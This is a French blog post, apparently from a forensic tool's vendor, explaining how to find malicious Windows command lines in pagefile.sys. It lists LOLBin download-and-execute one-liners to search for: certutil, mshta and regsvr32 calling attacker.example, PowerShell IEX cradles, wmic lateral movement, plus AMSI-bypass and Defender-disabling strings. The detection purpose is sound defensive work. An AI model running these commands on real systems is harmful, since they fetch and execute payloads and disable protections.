Aller au contenu
← Retour au blog

Détecter des lignes de commande malveillantes dans pagefile.sys

20/05/2026 · 5 min de lecture

Quand un attaquant exécute quoi que ce soit sur un hôte Windows, la ligne de commande vit en mémoire aussi longtemps que le processus parent existe — et souvent plus longtemps dans des caches comme les tampons d'événements de Sysmon, l'historique de cmd.exe, et les structures PROCESSINFO du noyau. Quand cette mémoire est paginée, la ligne de commande atterrit dans pagefile.sys.

L'onglet Artifacts → Command lines du parser attrape automatiquement les motifs les plus courants. Ce billet sert de référence sur ce que sont ces motifs, leur allure et la façon dont les attaquants tentent de les obfusquer.

La shortlist des LOLBin

Les binaires Windows que les attaquants utilisent le plus souvent, qui produisent tous des formes de lignes de commande caractéristiques :

BinairePourquoi les attaquants l'utilisent
powershell.exe / pwsh.exeScripting, payloads encodés, contournements AMSI
cmd.exeAccès shell, pipes, downloaders simples
certutil.exe-urlcache -split -f — downloader de fichiers, décodage base64
bitsadmin.exetransfer myjob /download … — downloader de fichiers
mshta.exeExécute HTA / JScript / VBS depuis une URL
rundll32.exeCharge une DLL arbitraire, exécute un export nommé
regsvr32.exe« Squiblydoo » — /s /i:http://…/payload.sct scrobj.dll
wmic.exeprocess call create, mouvement latéral
wscript.exe / cscript.exeExécution de VBS / JScript
installutil.exeContournement AppLocker via .NET InstallUtil
msbuild.exeExécution inline-task de C# arbitraire

Motifs PowerShell

PowerShell est de loin la première source de lignes de commande d'attaquants dans les dumps de pagefile. Ce qu'il faut grepper :

powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"

La commande encodée est la plus utile : décodez-la en base64 (le contenu est en UTF-16LE) et vous obtenez la source PowerShell réelle. L'onglet Artifacts → Command lines du parser capture jusqu'à 256 caractères suivant le token powershell, ce qui suffit en général à capturer le payload -enc complet.

Quand vous voyez -enc ou -EncodedCommand :

echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8

… pour le décoder.

Autres indices PowerShell à grepper dans l'onglet Strings :

  • [System.Net.WebClient], Net.WebClient, DownloadString, DownloadFile.
  • Invoke-Expression, IEX, iex.
  • [System.Reflection.Assembly]::Load, [Reflection.Assembly]::Load — chargement .NET en mémoire.
  • [Convert]::FromBase64String — presque toujours suivi d'un payload.
  • AmsiUtils, amsiInitFailed — tentatives de contournement AMSI.
  • Set-MpPreference -DisableRealtimeMonitoring — désactivation de Defender.

Downloaders certutil

Un motif classique de téléchargement de fichier :

certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe

certutil est signé par Microsoft et pré-installé partout, ce qui le rend très apprécié des attaquants. Filtrez l'onglet artefacts Command lines sur certutil ou greppez l'onglet Strings sur -urlcache.

Downloaders bitsadmin

bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe

Moins courant dans les engagements modernes mais encore observé chez les familles de malwares plus anciennes.

mshta et payloads HTA

mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…

Les variantes mshta vbscript:… et mshta javascript:… méritent particulièrement d'être greppées — elles s'exécutent en ligne sans jamais toucher le disque.

rundll32 + DLL sideloading

rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…

La variante javascript: existe grâce à une bizarrerie de moniker Microsoft. Filtrez sur rundll32 et inspectez chaque occurrence — la plupart des appels rundll32 légitimes ont un ordinal numérique ou un nom de DLL Microsoft reconnaissable ; tout ce qui charge depuis %TEMP%, %PUBLIC%, %PROGRAMDATA% ou un profil utilisateur est suspect.

regsvr32 « Squiblydoo »

regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll

Un binaire Microsoft signé qui charge du scriptlet à distance. Cherchez regsvr32 + http.

WMIC pour le mouvement latéral

wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid

wmic /node: est le pistolet fumant du mouvement latéral — un usage administratif légitime est rare sur les postes de travail.

Obfuscation living-off-the-land

Les attaquants du monde réel obfusquent. Astuces courantes qui laissent malgré tout des fragments lisibles dans le pagefile :

  • Chaînes inversées : ('xeotuper' | ForEach-Object {…}) — lire la chaîne à l'envers.
  • Tableaux de codes caractères : [char[]](0x70,0x6f,0x77,…) — décoder en ASCII.
  • Concaténation de chaînes : "po" + "wer" + "shell" — les deux moitiés restent en mémoire comme chaînes décodées.
  • Substitution de variables d'environnement : %comspec% /c …, %PSEXEC%.
  • Alternance de casse : PoWeRsHeLl — la casse n'a pas d'importance pour Windows mais piège un grep naïf. Les regex du parser sont insensibles à la casse par défaut.

La chaîne décodée finit presque toujours en mémoire à l'exécution — donc même quand l'invocation est obfusquée, la ligne de commande effective apparaît à proximité sous forme de chaînes lisibles.

Recoupement avec des horodatages

Un pagefile seul n'a pas d'horodatages. Pour ancrer une trouvaille dans le temps :

  • Associez avec le journal d'événements Microsoft-Windows-Sysmon/Operational (EventID 1, création de processus) — la même ligne de commande y apparaît avec un horodatage.
  • Associez avec PowerShell Microsoft-Windows-PowerShell/Operational (EventID 4104, journal de script blocks).
  • Associez avec le journal Security (EventID 4688, création de processus, si AuditProcessCreation est activé avec l'audit de ligne de commande).

Si vous avez aussi ces journaux, le workflow est : trouver la ligne de commande suspecte dans le pagefile → la rapprocher de l'enregistrement EVTX → obtenir l'arbre de processus, le parent, l'utilisateur, l'horodatage.

Ce que la regex de cet outil attrape

La regex d'artefact command matche jusqu'à 256 caractères suivant l'un de : cmd.exe, powershell / pwsh, wscript.exe, cscript.exe, rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe, bitsadmin.exe. Insensible à la casse. Cela couvre la majorité du tradecraft pratique des attaquants.

Pour le reste — wmic, installutil, msbuild, vssadmin delete shadows, etc. — utilisez l'onglet Strings et filtrez à la main.

Liens connexes